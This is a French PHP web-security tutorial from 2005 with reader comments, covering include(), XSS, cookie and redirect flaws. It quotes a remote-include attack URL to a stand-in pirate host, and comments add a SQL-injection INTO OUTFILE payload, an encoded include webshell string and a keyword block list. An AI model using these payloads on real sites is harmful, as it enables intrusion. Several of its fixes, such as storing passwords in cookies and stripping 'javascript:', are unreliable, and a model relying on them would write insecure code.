Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

COMMENT SÉCURISER SON SITE ET ÉVITER LES FAILLES PHP ?


Information sur le tutorial

Catégorie :Sécurité & Cryptage Date de création : 27/07/2005 15:35:48 Vu : 27 538 fois

Note :
7,31 / 10 - par 16 personnes
7,31 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (41)
Ajouter un commentaire et/ou une note

Description

Ce tutorial a pour but d'éclairer (principalement les débutants et les gens confrontés à un problème ponctuel) sur certaines failles PHP très répandues et encore exploitées par énormément (une majorité ?) de "piratins".

Tutorial

 

J'initie ce Tutorial sur le piratage et l'exploitation possible des failles de sécurité de vos sites en PHP, le but étant de rassembler la liste la plus exhaustive possible des problemes. A ceux qui lisent ce thread dans le but d'apprendre à savoir utiliser les failles de sécurité, passez votre chemin, vous ne trouverez ici aucune information pour vous. (Enfin, cherchez toujours.. ;-)

Je vous invite à ajouter des failles possibles en réponse à ce sujet, j'éditerais le mien, vous pouvez également poser vosquestionsrelatives ici.

1. Attention au variables
2. Défauts de la redirection
3. Faille Include()
4. Failles XSS
5. Failles Cookies
6. Faille Urlencode()
7. Faille Require()
8. Configuration de PHP
9. Vérifier la sécurité de son site sans lever le petit doigt.


1. Variables a l'air, gaffe aux courrants d'air. Par Juliian

Un script est potentiellement exploitable quand un visiteur lambda peut agir librement sur vos variables, soit quand elles passent par une URL, comme suit : http://www.site.com/admin?login=1.

Pourquoi ? Même si cela peut semble évident à la pluspart des codeurs, cette faille de sécurité se retrouve parfois sur le net, voir (et là c'estplus grave) dans des scripts installables sur vos sites, il faut doncveiller à ce qu'aucune variable sensible ou contrôlant l'acces à une page protégée ne se trouve dans vos URLs.

Comment y remedier ? L'utilisation des sessions ou des cookies est fortement recommandée dans ce cas : Elle vous évitera d'avoir à trainer une variable "sensible" dans vos URLs, et vos connexions à vos pages protégées se feront de façon transparente, suivre les liens "sessions" et "cookies" pour avoir une explication plus étendue.

2. La redirection ? Pas une solution. Par Juliian

Lorsque vous mettez à la disposition de vos membres un acces privé, ces derniers doivent se connecter, une personne mal intentionnée peut tout de même accéder à vos espaces protégés si la seule protection est la redirection automatique, quels genre de codes sont infectés ?

If ($password != "Pouletgrille")  { print'

Exemple : <meta name="robots" content="index, follow">
'; }


Pourquoi? Que va il se passer quand le "piratin" va rentrer un mauvais mot depasse ? Il va arriver sur votre page  protégée, et va être aussitôt redirigé vers une page d'erreur, et c'est là l'erreur : Le visiteur pourra toujours bloquer son navigateur, ou enregistrer votre page, et il vera l'intégralité de votre espace "protégé", et pourra y accomplir ses méfaits.

Comment y remédier ? C'est simple, il faut de toute façon que le contenu de votre espace protégé n'apparaisse jamais sur la page de vos visiteurs, même pas une micro-seconde, le moyen le plus simple de réparer ce problème est d'agir comme suit :


If($password != "Pouletgrille")  { Print'Insérez ici le contenu de votre section admin'; } else { print'Erreur de connexion !'; }


3. La célèbre faille Include() Par Juliian


Célèbre car très utilisée, la faille include permet au "pirate" de prendre le contrôle entier de votre site : Ajouter, supprimer ou modifié desfichiers, en voir le contenu (password, attention), ou même pire, stocker des programmes malveillants sur votre espace web, si votre code se présente dans cette configuration, inquiétez vous :

<? include ($page) ?>

Si votre URL est sous la forme suivante : http://www.votresite.com/index.php?page=accueil.php


Pourquoi ? De cette façon, vous intégrez une page à une autre page, par exemple, via ce lien : http://www.votresite.com/index.php?page=accueil.php.  Cette méthode remplit son rôle, vous avez bien le fichier demandé sur votre page, et les moutons sont bien gardés. Eh bien non ! Les moutons ne sont pasbien gardés, regardez, il y en a déjà un KO, et les autres vont bientôt se faire attaquer, comment ? Le pirate peut egalement intégrer sespages malveillantes (comme cela: http://www.votresite.com/?page=http://www.jesuisunpirate.com/script.php, (PS pour les "pirates", cette méthode ne marche pas, n'essayez même pas. ;-), et comme le PHP est un langage merveilleux, il pourra TOUT faire.

Comment y remédier ? C'est très simple, et pas très contraignant :


$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php"))die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");



Si c'est du chinois pour vous, soyez assuré que cette méthode remplira son rôle.

Quelques explications : Ce mini code inclu votre page en enleveant les caractères spéciaux, les "/" (slash) par exemple, et affiche un message d'erreur si votre include échoue, pourquoi est-ce efficace ?Car le piratin a obligatoirement besoin d'utiliser "/" pour taper "http://", il ne pourra donc intégrer son script, et se véra renvoyé un message d'erreur, de plus, le code oblige l'extention .php pour vos scripts, hors, rien n'est possible avec un fichier .php (enfin, pas grand chose, l'exploitation d'une faille XSS tout au plus, je developperais en dessous.)

// Update : Pour ceux qui se demandent pourquoi l'utilisation d'un fichier php distant rend impossible l'exécution de codes malveillantes, je vais expliquer la situation brièvement : Quand le pirate tentera d'include son script, qui contiendra par exemple une commande pour supprimer votre fichier index.php (à savoir unlink("index.php"), le script s'exécutera dans un premier temps, sur son serveur puis ensuite sera inclu sur votre page. Ainsi, si son code ne contient que la commande de suppression de la page index.php, cela reviendra à include un fichier vierge, il lui sera simplement impossible d'executer un code PHP sur votre serveur..

4. La faille XSS ? Ca me donne de l'herpes ! Par Juliian


Si vous proposez à vos visiteurs un livre d'or, un forum (Premieres versions de phpBB, concernées, vérifiez vos mises à jour !) ou un espace où ils peuvent afficher des messages librement sur votre site, cet espace est potentiellement dangereux. Si en entrant ce code dans l'espace où les visiteurs peuvent poster un message, un pop-up s'ouvre, inquietez vous :

Pourquoi ?  Vous etes victimes d'une faille XSS, mais qu'est-ce donc que cette bestiole là ? C'est l'exploitation d'un bug de sécurité permettant à vos visiteurs d'executer des scripts javascript, par exemple, que peut on faire avec ça ? Voler le contenu de vos cookies de connexion (yabon, on va pouvoir se connecter à votre forum sous votre compte, ou a votre site dans la partie administration), ouvrir de la publicité librement sur votre site, rediriger le visiteur par des pages infectées par des virus, que de bonnes choses pleines de fer et de calcium.

Comment y remédier ? Il y a un grand nombre de solutions pour pallier à ce problème : Definir votre texte comme étant une entité HTML, ou empecher l'emplois de javascript, Pour se faire, il faut procéder comme suit :

$message=str_replace("javascript:","",$message)

C'est une méthique que je qualifierais de "barbare", elle supprimera juste le mot javascript des messages postés (et comme il est nécessaire d'ouvrir une balise de type <script="javascript">{code}</script>..), la méthode la plus sûre et la plus courrament utilisée restant la définition de vos messages comme des entités html :

htmlentities ($message)

5. La faille cookies ? Que nenni ! Par Juliian

Une faille cookies permet, dans une configuration bien spéciale, d'utiliser un cookie de connexion pour le transformer en celui de quelqu'un d'autre.

Pourquoi ? Si à la connexion à la section membre, l'individu se logue avec ses identifiants, reçois donc son petit cookie (et ne le reçois que si il a rentré des identifiants correct) et voit donc son nom d'utilisateur dans son cookie, et seulement son nom d'utilisateur apparaitre, le script remplit son rôle, vos pages vérifient que le cookie existe, et utilise son nom d'utilisateur pour ses droits d'acces, mais il y a un probleme : L'utilisateur, mal intentionné peut tout de même déjouer votre sécurité, certes, il a bien utilisé des identifiants, il a donc reçu un cookie automatiquement généré, et tout ça, mais une fois qu'il a le cookie ? Il change son nom, et hop hop hop, ni une ni deux, il se retrouve avec votre nom d'utilisateur, et peut faire ce qu'il lui plait.

Comment pallier à ce probleme ? En stockant le nom d'utilisateur et le mot depasse dans les cookies, ainsi, même si la personne change le nom d'utilisateur, le mot de passe ne conviendra toujours pas.

6. La faille urldecode() dans les requetes SQL. Par Savory

[En cours de refonte]

7. La faille require() par Savory

[En cours de refonte]

8. Cconfiguration de apache et mod_php par Juliian

Il serait bien trop long de vous guider pas à pas dans cette manoeuvre, certains sites développent cette manoeuvre sur des dizaines de pages, la configuration des apache étant quelque chose de très fastidieux, je ne retracerais que les erreurs courantes à ne pas commettre.

Je recommande vivement aux personnes qui n'ont jamais mis le nez dans le fichier de configuration de PHP (php.ini, entre autre) de ne toucher qu'aux paramètres dont ils sont absolument sûrs.

Le paramètre "Safe_Mode" : Le safe_mode doit toujours être activé, il ajoute tout un lot de sécurités non négligeables pour la gestion et le traitement de vos fichiers. Celui-ci intervient principalement dans les droits de lecture, d'écriture et de suppression des fichiers contenus sur votre machine. Il contrôle également la légitimité du manipulateur des fichiers, en vérifiant que le propriétaire du script est également le propriétaire des fichiers manipulés, par exemple. De plus amples précisions ici.

Le paramètre "Register_Globals" : Ce paramètre joue principalement sur les variables, il permet de contrôler la provenance des variables intervenant sur votre site. Il est extremement important de conserver ce paramètre sur off tant que vous ne maîtrisez pas toutes les subtilités de la manipulation de variables. Ce paramètre vous oblige à définir vous même le contenu de vos variables, et empêche les visiteurs de le faire pour vous.

9. Vérifier la sécurité de son site sans lever le petit doigt. Par Juliian


Cette méthode est très simple, elle se compose de trois étapes, comme suit :

1. Trouver un pirate talentueux et renommer.
2. L'insulter copieusement.
3. Lui donner par inadvertence l'adresse de votre site.
4. Attendre, et regarder le résultat.

Résultat final : Si votre site est encore en vie au bout d'une heure, félicitations ! Votre site est protégé.

Pour finir, n'oubliez pas que les failles de sécurité ne sont pas obligatoirement de votre faute, elles peuvent se trouver dans les scripts pré-créés que vous installez, et elles sont d'autant plus dangereuses qu'un pirate peut connaitre le code source exact de ces scripts, vérifiez donc tout ce qui entre dans votre FTP. ;-)

27 juillet 2005 17:20:51 :
Correction de petites fautes..
27 juillet 2005 17:44:55 :
Correction de ma barre espace deffectueuse.. :s
27 juillet 2005 18:19:08 :
Petit ajout, correction. ;)
27 juillet 2005 18:48:56 :
Petit ajout, correction. ;)
27 juillet 2005 18:51:56 :
Correction...
27 juillet 2005 22:00:00 :
Correction de quelques fautes..
26 août 2005 22:35:47 :
update, correction de quelques fautes, ajout d'espaces
27 août 2005 08:55:35 :
Petit ajout..
27 août 2005 08:59:17 :
Tentative d'envois par internet explorer pour empêcher la suppression arbitraire d'espaces..
27 août 2005 09:25:15 :
Simplification
signaler à un administrateur
Commentaire de grandvizir le 27/07/2005 17:04:30

Ca résume pas mal de choses, très diverses. Seulement, dommage que tu n'évoques pas la fonction HTMLENTITIES.

signaler à un administrateur
Commentaire de juliiian le 27/07/2005 17:27:42

Je m'occuperais de le rajouter aujourd'hui, je suis sans doute passé à côté de pas mal de choses, mais ça représente un boulot assez conséquent..

signaler à un administrateur
Commentaire de max12 le 07/08/2005 04:06:06 administrateur CS

Très bien, mais il maqnue beaucoup d'espace dans le texte :( Un problème de clavier ?

signaler à un administrateur
Commentaire de MadM@tt le 11/08/2005 17:08:10

Je m'attendais à un tutoriel qui allait me servir, et je suis vraiment déçu.
Je ne comprend que les titres, alors que les failles que tu énonce je les connais déjà toutes...
Rien que le chapitre 8, c'est meme pas la peine qu'un newbie le lise, il va rigoler. Enfin il te reste encore pas mal de boulot avant de pouvoir monter un bon tutoriel, surtout que la moitié des mots ne sont pas séparés par des espaces.
Enfin voilà, je nétait pas venu sur cette page pour critiquer mais pour apprendre, mais je n'ai pas eu le choix...

signaler à un administrateur
Commentaire de MATHIS49 le 24/08/2005 00:57:55

MadM@tt, aurais tu les chevilles qui gonflent ?

signaler à un administrateur
Commentaire de MadM@tt le 24/08/2005 23:41:18

chevilles qui gonflent ?

bah je dis pas du tout que j'aurais pu faire mieux moi, parce que je suis venu ici pour chercher des infos quoi, mais je suis déçu parce que je connais les failles de nom (hein seulement de nom ;) c'est peut etre pour cette phrase que tu m'as fait la remarque) mais je voulais justement en savoir plus...
Enfin voilà pour moi quand on poste un tutoriel, c'est qqch qu'on a travaillé et qui pourrait servir aux autres, ce qui n'est pas trop le cas à mes yeux, j'y ai rien pigé, les phrases n'ont ni queue ni tete, il utilise des termes assez compliqué qu'il ne définit pas... Faut un avoir un bon niveau avant de le lire et c'est pas précisé

bon bon j'arrete de parler lol et désolé si j'ai paru "prétentieux" ou autre ;)

signaler à un administrateur
Commentaire de juliiian le 26/08/2005 22:10:30

Concernant les passages indescriptibles, je t'invite à me les communiquer, plutôt que de dire que les phrases n'ont ni queue ni tête.. J'ai estimé que mon tutorial s'adressait à des gens, même débutants qui se servaient un petit peu de PHP, à des gens qui savent ce qu'est une variable (c'est vraiment la base des bases, je ne peux pas faire un cour à chaque terme "technique" utilisé, des sites le font beaucoup mieux que moi, étant donné que le sujet de mon tutorial est bien la sécurité, rappellons le)

Je vais corriger les problèmes d'espaces, cela rendra la lisibilité meilleur..

Et par pitié, si vous avez un problème avec mon texte, décrivez précisément les problèmes que je puisse y remédier, plutôt que de  faire des remarques désobligeantes et décourageantes, les tutoriaux partent généralement d'une bonne intention =(

signaler à un administrateur
Commentaire de MadM@tt le 27/08/2005 00:27:39

Bah j'ai pas trop le temps de tout expliquer en détail

Par exemple, au 2 :
"CODE
If ($password != "Pouletgrille")  { print''; }

Pourquoi? Que va il se passer quand le "piratin" va rentrer un mauvaismot depasse ? Il va arriver sur votre page non protégée, et va êtreaussitôtredirigé vers une page d'erreur, et c'est là l'erreur : Levisiteurpourra toujours bloquer son navigateur, ou enregistrer votrepage, et ilvera l'intégralité de votre page "protégée", et pourra yaccomplir sesméfaits."

J'ai pas compris : C'est quoi ma page non protégée ? C'est celle ou on demande l'authentification, celle qui contient notre contenu reservé aux membres ?
"et va êtreaussitôtredirigé vers une page d'erreur" > Pourquoi donc ? d'après le bout de code que je vois, si on entre un mauvais mot de passe la seule chose qui se passe, c'est que rien ne s'affiche c'est tout...
Enfin en résumé je n'ai pas compris ta faille ? ou plutot l'exemple de ta faille
De plus le code "sécurisé" possède une erreur je crois ?
If($password != "Pouletgrille")  { Print'Insérez ici le contenudevotre section admin'; } else { print'Erreur de connexion !'; }
ça serai pas plutot :
If($password == "Pouletgrille")  { Print'Insérez ici le contenudevotre section admin'; } else { print'Erreur de connexion !'; }
Mais bon ça se comprend quand meme


Au 3 il manque le bout de code présentant la faille.
MAis bon perso cette faille je la connais, mais qqn qui ne la connais pas (et qui viens ici pour la découvrir) ne comprendra pas. (toutefois l'explication sur les adresse plus bas permet de deviner)


Au 4, le code c'est Salut!, bizarre pour un code php ;)
Enfin si on ne devine pas, aucun moyen de savoir de quelle faille tu parle, tu dis seulement ce qu'on peut faire grace à elle.


Le 5 : nickel ;)


Au 6 : j'ai pas compris pourquoi "si on url encode ' en %27 pui reurlencoder en %2527" > "on peut injecter un ' au nez de la requete :) et donc injecter du code php."
Je vois pas le lien entre les 2
Et puis que faire ? j'ai pas trop compris mais bon c'est peut etre pas de mon niveau


7 : Le code :
1' OR 1=1 INTO OUTFILE "/var/www/htdocs/site/kikoo.php" FIELDS TERMINATED BY ''/*
C'est quoi ? du mySql ?
"ethop on se fabrique une include a condition de connaitre le pathrelatifdu wwwroot pouvant etre reperé en faisant bugger la page."  ?? ça sert à quoi de faire ça ? C'est la faille ou c'est la sécurité ?
Et ça ça vient d'ou : %3C%3Finclude%28%24p%29%3Bexit%3B%3F%3E


8 :
"Premiere chose compiler le LAMP avec le mod ssp de gcc"
je fais du php depuis qq mois, mais je ne connais tjrs pas les mots LAMP, mod ssp et gcc, je suis si nul que ça ou ces mots vaudraient peut etre la peine d'etre expliqué :(
Après on peux faire une collection :
chrooter, symlink, sock mysql, chroot, mod_php, les binaires, le param execdir, system()/passthru/exec etc, les url open...
Je suis pas du tout expert, mais chu pas newbie à ce point non plus...


Pas contre le 9 j'adore lol ;)
Et merci pour les espaces

signaler à un administrateur
Commentaire de MadM@tt le 27/08/2005 00:29:28

Enfin je voulais dire merci de vouloir les corriger

signaler à un administrateur
Commentaire de juliiian le 27/08/2005 08:52:45

Pourquoi, lors de l'envois de mon texte le site me zap systématiquement des espaces ?

Sinon, la pluspart des problèmes que tu décris sont des problèmes de copier coller (mon tutorial ayant été écrit sous un logiciel de mise en page, certains caractère ou phrases n'ont pas été pris en compte (presque tous les codes par exemple, cela doit venir de leur police), je pense les avoir corriger.

Je vais éclaircir les deux derniers points serieux (le 7 et  le 8), n'étant pas de moi, je ne les ai pas contrôlés comme ils auraient dû l'être.

signaler à un administrateur
Commentaire de MATHIS49 le 27/08/2005 09:25:50

Bah voila tout s'arrange et dans le bon sens.

signaler à un administrateur
Commentaire de MadM@tt le 27/08/2005 11:36:00

Ok merci

signaler à un administrateur
Commentaire de azerty25 le 03/09/2005 23:36:11

Désolé de voir ça un peu tard mais je le trouve intéressant, merci pour l'article. J'espère bientot voir les 2 rubriques manquantes :)
Par contre la dernière, c'est franchement la plus complète que j'ai pu voir sur la sécurité PHP à ce jour ! :-D

signaler à un administrateur
Commentaire de MadM@tt le 04/09/2005 11:56:52

J'ai relu le tutoriel entièrement, et franchement c'est excellent, j'ai réussi à comprendre ttes les failles ^^
Vraiment euh ça mériterais qu'on efface mes commentaires précédents vu les efforts que tu as fait. Enfin tt simplement bravo !

signaler à un administrateur
Commentaire de erce78 le 21/09/2005 23:40:38

Pourrais-tu rajouter une partie sur les failles concernant les injections SQL dans les fichiers PHP ?
Sinon très bien le tutoriel !

signaler à un administrateur
Commentaire de mickadevelop le 27/10/2005 16:13:50

Bonjour,
Merci pour ce tutoriel très interessant!!
J'ai une petite question qui me vient concernant le point numéro 2.
Pour des pages membres ou admin si on utilise le code suivant est ce que cela peu fonctionner au niveau de la sécurité?
exemple:
<?php
if($motdepasse != "pouletgrille")
   {
   headers('location: pageprecedente.php');
   exit();
   }
?>
<html>
<p>contenu page membre</p>
En théorie le serveur lit le code php si le mot de passe est correcte la partie html est renvoyée à l'internaute sinon le programme renvoi à la page précedente et stoppe l'éxecution au niveau du "exit()" donc en théorie la partie html n'est pas accessible. Pourriez vous me dire ce que vous en pensez? Merci d'avance.

signaler à un administrateur
Commentaire de mickadevelop le 27/10/2005 16:15:06

Bonjour,
Merci pour ce tutoriel très interessant!!
J'ai une petite question qui me vient concernant le point numéro 2.
Pour des pages membres ou admin si on utilise le code suivant est ce que cela peu fonctionner au niveau de la sécurité?
exemple:
<?php
if($motdepasse != "pouletgrille")
   {
   headers('location: pageprecedente.php');
   exit();
   }
?>
<html>
<p>contenu page membre</p>
En théorie le serveur lit le code php si le mot de passe est correcte la partie html est renvoyée à l'internaute sinon le programme renvoi à la page précedente et stoppe l'éxecution au niveau du "exit()" donc en théorie la partie html n'est pas accessible. Pourriez vous me dire ce que vous en pensez? Merci d'avance.

signaler à un administrateur
Commentaire de mickadevelop le 27/10/2005 16:22:05

Bonjour,
Merci pour ce tutoriel très interessant!!
J'ai une petite question qui me vient concernant le point numéro 2.
Pour des pages membres ou admin si on utilise le code suivant est ce que cela peu fonctionner au niveau de la sécurité?
exemple:
<?php
if($motdepasse != "pouletgrille")
   {
   headers('location: pageprecedente.php');
   exit();
   }
?>
<html>
<p>contenu page membre</p>
En théorie le serveur lit le code php si le mot de passe est correcte la partie html est renvoyée à l'internaute sinon le programme renvoi à la page précedente et stoppe l'éxecution au niveau du "exit()" donc en théorie la partie html n'est pas accessible. Pourriez vous me dire ce que vous en pensez? Merci d'avance.

signaler à un administrateur
Commentaire de kankrelune le 06/12/2005 01:47:58

Salut Juliiian...

Très bien cette idée de tuto... .. .

Par contre comme précédament dit tu as une erreure sur le code de la faille 2... d'ailleurs tu parle de redirection mais je n'en vois point... .. . 8-|

Pareil comme dit précédament il serait interessant que tu parle des injections SQL bien que cette attaque soit due à des variables mal sécurisés... .. . :o)

Pour la faille 4 je serais toi je virerais l'histoire du str_replace car il me semble que la balise <script> tout court fonctionne (à vérifier) à la place parle de strip_tags... .. . ;o)

Pour le paragraphe 8 il y a allow_url_fopen qu'il peut être bien d'aborder et ton lien pour le safe mode est mort (si tu en connait un autre)... .. .

Pour le 9 mdrrrrrrrrrrrrrrrrrr... par contre il existe un soft pour tester (sommairement) la sécurisation des scripts php... phpprotector je crois... je me souviens plus bien... .. .

Sinon dans l'ensemble c'est pas mal... j'aime beaucoups la touche humoristique que tu donne... .. . ;o)

@ tchaOo°

ps : pour mickadevelop oui ça marchera mais pas avec pageprecedente.php (non non je ne te prend pas pour un idiot je préfère juste le préciser)... .. .

signaler à un administrateur
Commentaire de ccharlly le 25/02/2006 14:02:30

Bonjour à toutes et à tous,

Je suis profane et je souhaite utiliser un CMS " NPDS " par exemple : ce portail, dans ses dernières versions, tient-il compte de toutes ces failles potentielles ?

Merci d'avance

signaler à un administrateur
Commentaire de jdalton42 le 27/02/2006 10:53:35

Salut,

merci pour ce tutoriel, il m'a bien aidé et m'a appris des failles que je ne connaissais pas et qui pouvait être utilisée sur mon site :S

j'ai donc pu corrigé tout sa :d

et pour MadM@tt : tu es profondément décu, mais c'est un tutoriel fais pour aider les personnes qui ne connaissait pas les failles, pas pour aider seux qui les connaissent, ils n'ont plus besoin d'aide, alors vient pas raler parce que tu as rien appris, normal, tu les connais déjà, et si t'es pas content de ce tutorial, ben t'a cas en écrire un toi même et on comparera... en attendant, fais plus chier please

signaler à un administrateur
Commentaire de MadM@tt le 27/02/2006 13:24:55

Quand on a un peu de cerveau et qu'on veut critiquer on regarde tous les commentaires.
Voici mon dernier puisqu'il n'a pas l'air de s'afficher chez toi :
"J'ai relu le tutoriel entièrement, et franchement c'est excellent, j'ai réussi à comprendre ttes les failles ^^
Vraiment euh ça mériterais qu'on efface mes commentaires précédents vu les efforts que tu as fait. Enfin tt simplement bravo !"


Mes premiers commentaires ont été écrit pour un tutoriel qui n'avait rien à voir avec celui d'aujourd'hui (qui est très bien soit dit en passant) car il était incomplet et pas très compréhensible.
Donc "fais plus chier please"
Ciao

signaler à un administrateur
Commentaire de Mr_FuFu le 06/03/2006 12:50:31

hummm...
http://www.pcinpact.com/forum/index.php?s=8292603080d08cf3f38e767b2f228440&showtopic=47608&st=0&p=743220&#entry743220
copier/coller ;)

signaler à un administrateur
Commentaire de jdalton42 le 06/03/2006 14:30:05

wai... j'ai pas lu tout les commentaires... pcq j'en avais marre de lire tes critiques...

signaler à un administrateur
Commentaire de surfman le 30/04/2006 12:56:40

J'aprécie ce tutorial, ça me permet surtout de corriger mes failles, une chose serait plus interessante, c'est de savoir haker son propre site histoire de voir les failles et de les corrigés par la suite, mais ce n'est pas légal de poster un tutorial sur le hack...

En tout cas je te remercie pour ce tutorial, et j'éspere que vous evoquerez dans le futur les htmlentities et tout le reste des failles php pour qu'on puisse ce sécuriser quand même.

Cordialement.

signaler à un administrateur
Commentaire de pastis51forever le 28/05/2006 00:19:28

Bonjour!

Peut-etre que je me trompe...
Enfin, je me lance...
Dans ta solution a la 3eme faille (include()), tu dis que c'est pas grave d'inclure un fichier php... Mais je reste sceptique sur ce sujet.
Je veux bien que le code s'execute sur son serveur d'abord, puis sur le tien, j'ai pas vérifié. Dans ce cas la, si son code est:
<?php
echo '<?php unlink("index.php") ?>';
?>
si son but (tout gentil, il faut le dire...) est uniquement de détruire ton index.php pour, j'imagine, voir les liste des fichier... Avec de plus mauvaises intentions, je pense qu'il peut s'amuser beaucoup plus en incluant tout ce qu'il veut par la même technique...

J'espère n'avoir pas dit de conneries...

Brice

signaler à un administrateur
Commentaire de killermaster le 31/05/2006 09:22:46

Salut et tout d'abord merci pour ce tuto bien instructif ;)

voilà j'avais une petite question concernant le point 3, c'est-à-dire la faille include :

tu dis que pour la sécuriser, tu enlèves les '/' de la valeur de la variable $page...

C'est là mon problème, car en effet cette technique interdit bien au pirate d'uploader son script puisqu'il ne peut plus écrire "http://www.votresite.com/?page=http://www.jesuisunpirate.com/script.php".

Mais le problème c'est que l'on peut nous aussi (nous, le Webmaster) avoir besoin de mettre des '/' dans la variable $page si l'on souhaite charger, par exemple, la page 'dossier1/dossier2/dossier3/zePage.php'...

Voilà, voilà...


Donc moi j'ai pensé à mettre ça :

$page = preg_replace("http://www.", "", $page);

Je ne l'ai pas encore essayée, donc si quelqu'un pouvait juste me dire si ça avait des chances de marcher... ;))

@++)

signaler à un administrateur
Commentaire de pastis51forever le 31/05/2006 10:47:06

Salut Killermaster!
Juste une idée qui n'est qu'une idée par rapport à ta solution de preg_replace:
Je pense que ca ne suffit pas car si le gars rentre cette adresse la:
...?page=http:/http://www./www.sonsitepascool.com/sapagepascoolnonplus.php, le preg_replace supprimera http://www., et ce qu'il restera dans la variable $page sera http://www.sonsitepascool.com/sapagepascoolnonplus.php, donc le chemin direct vers sa page.
Soit tu devrais en faire un fonction récursive pour les supprimer tant qu'il en reste dans la variable, soit, plus simple, tu testes uniquement la présence de la chaine http://www dans $page. Avec un simple if, soit tu inclus la page, soit tu mets un message d'erreur avec en plus la possibilité de faire un log contenant l'ip du gars en question (Que tu pourras par la suite interdire dans le .htaccess).
C'est pourquoi, le mieux et donc de créer une fonction de test de ta variable $page dès le début du code pour permettre de le relancer vers une autre page en cas de tentative d'inclusion de fichiers non autorisés.
Et ta fonction peut aussi vérifier si $page inclut bien un fichier autorisé (par exemple issu des répertoires include/ ou fonction/...)

Brice

signaler à un administrateur
Commentaire de killermaster le 31/05/2006 11:16:45

Salut PASTIS51FOREVER !!!

Oui c'est vrai, en plus je viens de poster ça : http://www.phpcs.com/code.aspx?ID=37874 !!

Pas mal le truc de noter l'ip du mec, héhé, WANTED !


A++ ;)

signaler à un administrateur
Commentaire de NKWolf le 04/06/2006 12:57:46

félicitation pour ce tuto, j'aime beaucoup même si je connais déjà ces failles.

par contre il serais bien de parler de la fonction addslashes qui sécurise un chouya plus un site

en suite y'a ceci pour empêcher d'introduire du javascript par l'utilisateur / visteur

<?PHP
// On récupère la partie de l'url actuel après le ?
// exemple http://www.mon-site.com/index.php?zone=news&id_news=1
// on récupère alors dans $str_queryurl : zone=news&id_news=1
$str_queryurl = strtolower(rawurldecode($_SERVER['QUERY_STRING']));

// On crée notre tableau contenant des éléments interdit
$str_no = array("%20union%20", "/*", "*/union/*",
                "+union+", "load_file", "outfile",
                "document.cookie", "onmouseover",
                "<script", "<iframe", "<applet",
                "<meta", "<style", "<form", "<img",
                "<body", "<link");

// On fait la boucle sur notre tableau
foreach ($str_no as $str_value)
{
    // Si un élément interdit est présent dans l'url    
    if (strpos($str_queryurl, $str_value))
    {
// On redirige vers une page d'erreur
header("Location : page_erreur.php");
// Ceci est facultatif mais offre une sécurité de plus, on est jamais trop prudent
// on utilise exit pour stoper l'exécution du script
exit();
    }
}
?>

voici une solution concrète de sécurité, il ne vous reste plus qu'a l'appliquer à des valeur $_POST[], $_GET[], $_COOKIE[] aussi pourquoi pas

il aurais été bien aussi je pense, puisque ce tuto est destiné aux débutants, de leur préciser de vérifier chaque variable passer dès que c'est fesable

en ce qui concerne l'include qui est une faille de sécurité très connu pour ceux qui passe le nom complet du fichier (fichier.php); pour sécuriser celà il peut être judicieux de placer un suffixe, de ne pas mettre l'extension dans la variable mais en brute dans la source
exemple

<?PHP
// nom du fichier
$page = "fichier";

// ici on vérifie que l'utilisateur n'essaye pas de mettre des \. qui permetrai de remonter de répertoire
if(ereg("\.\.", $page))
{
    // On redirige vers une page d'erreur
    header("Location : page_erreur.php");
    // Ceci est facultatif mais offre une sécurité de plus, on est jamais trop prudent
    // on utilise exit pour stoper l'exécution du script
    exit();
}
// et pour plus de sécurité encore on met la suite dans le else, Si l'erreur survient cette partie n'est pas interpreter
else
{
    // Si le fichier existe sur le serveur    
    if(is_file("rep/z" . $page . ".php"))
    {
        // la suite de votre script
    }
    // Sinon c'est qu'il n'existe pas
    else
    {
       echo "Erreur 404 : fichier introuvable";
    }
}
?>
voilà ici include n'a que un élément modifiable c'est le nom du fichier, notre préfixe est z et nous définissons nous même l'extension du fichier, ce qui nous donne en réalité :
include("rep/zfichier.php");

vilà c tout ce que j'avais à dire pour l'instant j'ai vue un ou 2 autre truc mais plus le temps lol

en tout cas GG le tuto

signaler à un administrateur
Commentaire de nain_tendo le 08/06/2006 10:34:38

Et comme le fait remarquer MR_FuFu, il eut été bien de dire d'où vient le texte original, et surtout, surtout, de ne point t'approprier le travail d'autrui!!! http://www.pcinpact.com/forum/index.php?s=8292603080d08cf3f38e767b2f228440&showtopic=47608&st=0&p=743220&#entry743220

signaler à un administrateur
Commentaire de kankrelune le 08/06/2006 14:18:47

@ NKWolf... strip_tags()... .. ?

@ tchaOo°

signaler à un administrateur
Commentaire de blinix123 le 15/06/2006 10:13:44

$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php"))die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");

Normal que ca ne marche pas chez moi, je dois remplacer quoi chez moi, en sachant que c'est menu.php que je veux include ?

signaler à un administrateur
Commentaire de AzertyH le 20/09/2006 14:01:22

Salut,

Je suis débutant en matière de site web dynamique, et j'essai d'apprendre une manière de programmer tout en tennant compte des failles possible.
Mais franchement malgrès ce tuto, je galère grave... Si quelqu'un pouvez m'aider je lui en serai très reconnaissant.

1 ) Dans la faille n°1, je me demande si on peut utiliser la méthode POST en toute sécurité, ou est-ce que cette méthode est aussi risqué de GET en faveur des piratins. Si oui, alors je comprendrais qu'il faut utiliser les variables de session.
D'autre part, est'ce que les variables de session sont entièrement sécurisé.

2) Malgrès la simplicité de ce qui a put être dit dans la faille 2, je ne comprend pas clairement cette faille. Pouvez-vous exposer de manière complète tous éléments mis en oeuvre pour cette faille. J'ai absolument besoin de comprendre.


Déjà si j'arrive à comprendre ça, je serais un peu plus rassuré.
Merci pour votre aide

signaler à un administrateur
Commentaire de AzertyH le 21/09/2006 16:49:10

S'il vous plaie, je relance ma question. Aider moi, à comprendre ce tuto. Merci , cordialement

signaler à un administrateur
Commentaire de winsion le 25/09/2006 14:15:13

[QUOTE]$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php"))die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");

